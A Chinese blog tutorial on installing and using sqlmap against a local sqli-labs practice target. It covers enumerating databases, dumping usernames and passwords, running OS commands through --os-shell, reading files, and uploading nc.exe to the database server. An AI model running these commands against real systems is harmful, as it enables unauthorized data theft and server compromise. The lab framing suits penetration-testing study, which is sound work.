SQLMAP详解

​ sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。
sqlmap支持五种不同的注入模式:

  • 1 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

  • 2 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

  • 3 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

  • 4 联合查询注入,可以使用union的情况下的注入;

  • 5 堆查询注入,可以同时执行多条语句的执行时的注入

    安装SQLMAP

sqlmap的安装需要python环境:https://www.python.org/

  1. 在python官方网站下载python版本(个人推荐python3.6/python3.7,因为相对而言其更加稳定)

注意:系统软件个人建议安装在c盘,毕竟以后配置环境相对而言方便一些。例如python默认的安装路径一般为:C:\Users\**\AppData\Local\Programs\Python\Python39

  1. 右键此电脑>>>选择属性>>点击高级系统设置>>点击环境变量>>选择系统变量的path>>点击path选择新建>>将第一步的python安装路径添加到其中。到此处python的环境就算搭建好了。

  2. 以上步骤读者可以参照下图所示



  1. sqlmap下载及其安装:https://github.com/sqlmaproject/sqlmap

2.将sqlmap解压到python的安装目录下,并且把sqlmap目录添加到环境变量中操作如上配置python环境相似这里就不再赘述了。

环境配置验证:

打开cmd,输入python显示python相关的版本信息说明python环境配置完成。如下图所示:

输入sqlmap.py 如下图这说明配置成功:

注意本文的sqlmap案例皆为基于sqllab sql注入靶场实现。具体sqllab靶场的搭建请查看博主的其他相关文章。

sqlmap 入门

1.判断是否存在注入
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1
sqlmap.py -u “http://127.0.0.1/sql/Less-1/?id=1&uid=2” #参数大于1时加双引号

2.判断文本中的请求是否存在注入
sqlmap.py -r test.txt #-r一般在存在cookie注入时使用

3.查询当前用户下的所有数据库
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs

4.获取数据库下的表名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables

5.获取表中的字段名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns

6.获取字段的内容
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C username,password --dump

7.获取数据库的所有用户
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --users

8.获取数据库用户的密码
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --password

9.获取当前网站数据库的名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-db

10.获取当前网站数据库的用户名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-user

sqlmap 进阶参数

1.--level=5:探测等级,1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。2.--id-dba:当前用户是否为管理权限3.--roles:列出数据库管理员角色,仅适用于当前数据库是Oracle的时候4.--referer=https://www.baid.com :sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入5.--sql-shell:运行自定义sql语句6.--os-cmd,--os-shell:运行任意操作系统命令7.--file-read "C:/example.exe":从数据库服务器中读取文件8.sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上传文件到数据库服务器中

注:文章内容是基于徐焱,李文轩,王东亚老师们编著的《web 安全攻防渗透测试实战指南》一书的内容经过提取,和添加笔者自己的理解而来。如果想在升入的了解相关的内容笔者建议还是购买纸质书籍效果更佳,谢谢

SQLMAP安装及详解相关推荐

  1. python3.5.3安装完后什么样子_python3.5安装python3-tk详解

    在python3.5下安装好matplotlib后,准备显示一张图片测试一下,但是控制台报错说需要安装python3-tk,我天真的以为直接: sudo apt-get install python3 ...

  2. Linux redis安装教程,Linux 下redis5.0.0安装教程详解

    Linux redis5.0.0安装,教程如下所示: 1.从官网下载,然后传到服务器,tar -zxvf解压 2.进入redis ? 3.安装:make, (1)若提示:: gcc: Command ...

  3. zabbix安装配置详解(一)

    zabbix安装配置详解(一) 一.nginx安装 1.必要软件准备: 为了支持rewrite功能,我们需要安装pcre: #yum install pcre-* 需要ssl的支持,如果不需要ssl支 ...

  4. 电脑安装python步骤-python3.8下载及安装步骤详解

    1.操作系统:Windows7 64bit executable installer 2.安装步骤: 双击安装文件python-3.8.0-amd64.exe 勾选下方"Add Python ...

  5. python详细安装教程3.8-python3.8下载及安装步骤详解

    1.操作系统:Windows7 64bit Python版本:3.8下载地址:https://www.python.org/downloads/release/python-380/,选择下方的Win ...

  6. centos6 安装 mantisbt-1.2.8 —— (1) VMware Workstation 12 Pro 虚拟机安装步骤详解(window 10 系统)

    对于目前主流之一的VMware 虚拟机而言,一直是各位小伙伴的首选,而VMware 12 Pro 是截止目前最新的VMware Workstation 版本:偶在这里特地给刚刚入坑的小伙伴详细介绍介绍 ...

  7. linux PHP 编译安装参数详解

    linux PHP 编译安装参数详解 ./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc -- ...

  8. lvs keepalived 安装配置详解【转】

    lvs keepalived 安装配置详解 张映 发表于 2012-06-20 分类目录: 服务器相关 前段时间看了一篇文章,lvs做负载均衡根F5差不多,说实话不怎么相信,因为F5没玩过,也无法比较 ...

  9. redis cluster 集群 安装 配置 详解

    redis cluster 集群 安装 配置 详解 张映 发表于 2015-05-01 分类目录: nosql 标签:cluster, redis, 安装, 配置, 集群 Redis 集群是一个提供在 ...

  10. Linux下Nginx编译安装过程详解

    Linux下Nginx编译安装过程详解 一.Nginx介绍 二.Nginx源码下载 1.打开Nginx官网 2.下载官网的源码包 三.Nginx源码安装 1.解压源码包 2.安装开发包组及环境 3.编 ...

最新文章

  1. CentOS 6.7快速搭建lamp环境
  2. 讨论过后而引发对EF 6.x和EF Core查询缓存的思考
  3. redistemplate使用_如何使用 SpringBoot + Redis 优雅的解决接口幂等性问题
  4. Javascript事件机制兼容性解决方案
  5. MFC小笔记:简单画图
  6. 【未解决】Flink : Error notifying leader istener about new leader The RPC connection is already closed
  7. Nginx @ Https
  8. 2021-09-14联想云教室连接不上服务器解决办法
  9. 聊天记录软件工作记录
  10. oracle 导出table数据,导出table数据库数据
  11. nginx: [warn] conflicting server name
  12. ERR_CONNCETION_CLOSED的问题
  13. SpringCloud Gateway堆外内存溢出排查
  14. WatchGuard Firebox配置动态口令(OTP)认证
  15. R7 5800H和i5 11300H参数对比差距大不大
  16. VS2005 编译环境,解决 Runtime Error(运行时错误): R6034。
  17. CeisumLabApkServe--为CeisumLab工具下载地图,影像数据的.pak文件架设地图服务
  18. Anaconda安装之后Spyder闪退解决办法
  19. MySQL锁表解决方法(转)
  20. SPH方法计算流体表面张力

热门文章

  1. html制作答题卡表格,Excel怎么制作试卷答题卡,单选框和复选框制作就这么简单-excel操作练习题...
  2. DXperience12.2入门设置以及应用教程
  3. 02年计算机学院成立,教育部关于成立2002年-2006年教育部高等学校外语专业等科类教学指导委员会的通知...
  4. 太厉害了MySQL总结的太全面了
  5. 在VS2017(VC15)上配置opencv4.0.1环境
  6. (转载)计算机英语名词简释
  7. 今天是雾霾,明天是什么?马尔可夫链告诉你
  8. java+mysql+学生课程管理系统的实现
  9. 中国工业企业数据库(2015年)
  10. html怎么打开本地文件,HTML怎么打开本地文件